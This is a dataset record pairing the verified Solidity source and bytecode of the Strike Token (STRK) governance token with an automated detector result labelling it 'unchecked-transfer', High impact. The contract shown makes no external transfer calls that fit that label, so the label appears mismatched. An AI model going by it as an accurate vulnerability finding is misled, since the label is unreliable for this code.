b1d0eef39abbb026ad70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,493 |
0x74232704659ef37c08995e386a2e26cc27a8d7b1
|
/**
*Submitted for verification at Etherscan.io on 2021-03-11
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract STRK {
/// @notice EIP-20 token name for this token
string public constant name = "Strike Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "STRK";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 6540888e18; // 6540888 STRK
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Strk token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Strk::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Strk::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Strk::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Strk::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Strk::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Strk::delegateBySig: invalid nonce");
require(now <= expiry, "Strk::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Strk::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Strk::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Strk::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Strk::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Strk::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Strk::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Strk::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Strk::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612866565b60405180910390f35b61015e6004803603610159919081019061214d565b61045c565b60405161016b9190612761565b60405180910390f35b61017c6105ee565b604051610189919061296a565b60405180910390f35b61019a6105fd565b6040516101a7919061277c565b60405180910390f35b6101ca60048036036101c591908101906120fe565b610614565b6040516101d79190612761565b60405180910390f35b6101e86108a6565b6040516101f591906129c9565b60405180910390f35b61021860048036036102139190810190612099565b6108ab565b6040516102259190612746565b60405180910390f35b61024860048036036102439190810190612099565b6108de565b005b610264600480360361025f9190810190612099565b6108eb565b6040516102719190612985565b60405180910390f35b610294600480360361028f9190810190612099565b61090e565b6040516102a1919061296a565b60405180910390f35b6102c460048036036102bf919081019061214d565b61097d565b6040516102d191906129ff565b60405180910390f35b6102f460048036036102ef9190810190612099565b610d90565b604051610301919061296a565b60405180910390f35b610312610da8565b60405161031f9190612866565b60405180910390f35b610342600480360361033d919081019061214d565b610de1565b60405161034f9190612761565b60405180910390f35b610372600480360361036d9190810190612099565b610e1e565b60405161037f91906129ff565b60405180910390f35b6103a2600480360361039d9190810190612189565b610f0c565b005b6103be60048036036103b991908101906120c2565b6111af565b6040516103cb919061296a565b60405180910390f35b6103dc61125b565b6040516103e9919061277c565b60405180910390f35b61040c60048036036104079190810190612212565b611272565b60405161041a9291906129a0565b60405180910390f35b6040518060400160405280600c81526020017f537472696b6520546f6b656e000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060258152602001612ccd602591396112cb565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db91906129e4565b60405180910390a3600191505092915050565b6a0569163fbd1a200260000081565b6040516106099061271c565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d685604051806060016040528060258152602001612ccd602591396112cb565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075057507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088d57600061077a83836040518060600160405280603d8152602001612bd0603d9139611329565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161088391906129e4565b60405180910390a3505b61089887878361139a565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108e8338261177b565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b89061292a565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a2e576000915050610d8a565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3057600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d8a565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bb1576000915050610d8a565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d0c576000600283830363ffffffff1681610be757fe5b0482039050610bf4612002565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ce457806020015195505050505050610d8a565b86816000015163ffffffff161015610cfe57819350610d05565b6001820392505b5050610bbf565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600481526020017f5354524b0000000000000000000000000000000000000000000000000000000081525081565b600080610e0683604051806060016040528060268152602001612c73602691396112cb565b9050610e1333858361139a565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e88576000610f04565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1a9061271c565b60405180910390206040518060400160405280600c81526020017f537472696b6520546f6b656e000000000000000000000000000000000000000081525080519060200120610f6761193b565b30604051602001610f7b94939291906127dc565b6040516020818303038152906040528051906020012090506000604051610fa190612731565b6040518091039020888888604051602001610fbf9493929190612797565b60405160208183030381529060405280519060200120905060008282604051602001610fec9291906126e5565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516110299493929190612821565b6020604051602081039080840390855afa15801561104b573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be906128ca565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d9061294a565b60405180910390fd5b87421115611199576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611190906128aa565b60405180910390fd5b6111a3818b61177b565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405161126790612731565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c010000000000000000000000008310829061131f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113169190612888565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061138d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113849190612888565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611401906128ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114719061290a565b60405180910390fd5b6114f4600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001612c3d60369139611329565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115db600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001612c0d60309139611948565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116a591906129e4565b60405180910390a3611776600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119be565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119358284836119be565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a99190612888565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0857506000816bffffffffffffffffffffffff16115b15611cb457600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b60576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611aab576000611b27565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b4e8285604051806060016040528060288152602001612d1960289139611329565b9050611b5c86848484611cb9565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cb3576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bfe576000611c7a565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611ca18285604051806060016040528060278152602001612cf260279139611948565b9050611caf85848484611cb9565b5050505b5b505050565b6000611cdd43604051806060016040528060348152602001612c9960349139611fac565b905060008463ffffffff16118015611d7257508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e0d5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f55565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f9d929190612a1a565b60405180910390a25050505050565b600064010000000083108290611ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fef9190612888565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061203f81612b5c565b92915050565b60008135905061205481612b73565b92915050565b60008135905061206981612b8a565b92915050565b60008135905061207e81612ba1565b92915050565b60008135905061209381612bb8565b92915050565b6000602082840312156120ab57600080fd5b60006120b984828501612030565b91505092915050565b600080604083850312156120d557600080fd5b60006120e385828601612030565b92505060206120f485828601612030565b9150509250929050565b60008060006060848603121561211357600080fd5b600061212186828701612030565b935050602061213286828701612030565b92505060406121438682870161205a565b9150509250925092565b6000806040838503121561216057600080fd5b600061216e85828601612030565b925050602061217f8582860161205a565b9150509250929050565b60008060008060008060c087890312156121a257600080fd5b60006121b089828a01612030565b96505060206121c189828a0161205a565b95505060406121d289828a0161205a565b94505060606121e389828a01612084565b93505060806121f489828a01612045565b92505060a061220589828a01612045565b9150509295509295509295565b6000806040838503121561222557600080fd5b600061223385828601612030565b92505060206122448582860161206f565b9150509250929050565b61225781612a75565b82525050565b61226681612a87565b82525050565b61227581612a93565b82525050565b61228c61228782612a93565b612b41565b82525050565b600061229d82612a4e565b6122a78185612a59565b93506122b7818560208601612b0e565b6122c081612b4b565b840191505092915050565b60006122d682612a43565b6122e08185612a59565b93506122f0818560208601612b0e565b6122f981612b4b565b840191505092915050565b6000612311602683612a59565b91507f5374726b3a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612377600283612a6a565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006123b7602683612a59565b91507f5374726b3a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061241d603c83612a59565b91507f5374726b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6000612483604383612a6a565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b600061250f603a83612a59565b91507f5374726b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b6000612575602783612a59565b91507f5374726b3a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125db603a83612a6a565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b6000612641602283612a59565b91507f5374726b3a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6126a381612abd565b82525050565b6126b281612ac7565b82525050565b6126c181612ad7565b82525050565b6126d081612afc565b82525050565b6126df81612ae4565b82525050565b60006126f08261236a565b91506126fc828561227b565b60208201915061270c828461227b565b6020820191508190509392505050565b600061272782612476565b9150819050919050565b600061273c826125ce565b9150819050919050565b600060208201905061275b600083018461224e565b92915050565b6000602082019050612776600083018461225d565b92915050565b6000602082019050612791600083018461226c565b92915050565b60006080820190506127ac600083018761226c565b6127b9602083018661224e565b6127c6604083018561269a565b6127d3606083018461269a565b95945050505050565b60006080820190506127f1600083018761226c565b6127fe602083018661226c565b61280b604083018561269a565b612818606083018461224e565b95945050505050565b6000608082019050612836600083018761226c565b61284360208301866126b8565b612850604083018561226c565b61285d606083018461226c565b95945050505050565b6000602082019050818103600083015261288081846122cb565b905092915050565b600060208201905081810360008301526128a28184612292565b905092915050565b600060208201905081810360008301526128c381612304565b9050919050565b600060208201905081810360008301526128e3816123aa565b9050919050565b6000602082019050818103600083015261290381612410565b9050919050565b6000602082019050818103600083015261292381612502565b9050919050565b6000602082019050818103600083015261294381612568565b9050919050565b6000602082019050818103600083015261296381612634565b9050919050565b600060208201905061297f600083018461269a565b92915050565b600060208201905061299a60008301846126a9565b92915050565b60006040820190506129b560008301856126a9565b6129c260208301846126d6565b9392505050565b60006020820190506129de60008301846126b8565b92915050565b60006020820190506129f960008301846126c7565b92915050565b6000602082019050612a1460008301846126d6565b92915050565b6000604082019050612a2f60008301856126c7565b612a3c60208301846126c7565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a8082612a9d565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612b0782612ae4565b9050919050565b60005b83811015612b2c578082015181840152602081019050612b11565b83811115612b3b576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b6581612a75565b8114612b7057600080fd5b50565b612b7c81612a93565b8114612b8757600080fd5b50565b612b9381612abd565b8114612b9e57600080fd5b50565b612baa81612ac7565b8114612bb557600080fd5b50565b612bc181612ad7565b8114612bcc57600080fd5b5056fe5374726b3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63655374726b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77735374726b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63655374726b3a3a7472616e736665723a20616d6f756e74206578636565647320393620626974735374726b3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974735374726b3a3a617070726f76653a20616d6f756e74206578636565647320393620626974735374726b3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77735374726b3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773a365627a7a7231582023251a27d99881d2c0556fffd9fd269e2ab12f654951b9e58ac687b4ec199e6c6c6578706572696d656e74616cf564736f6c63430005110040
|
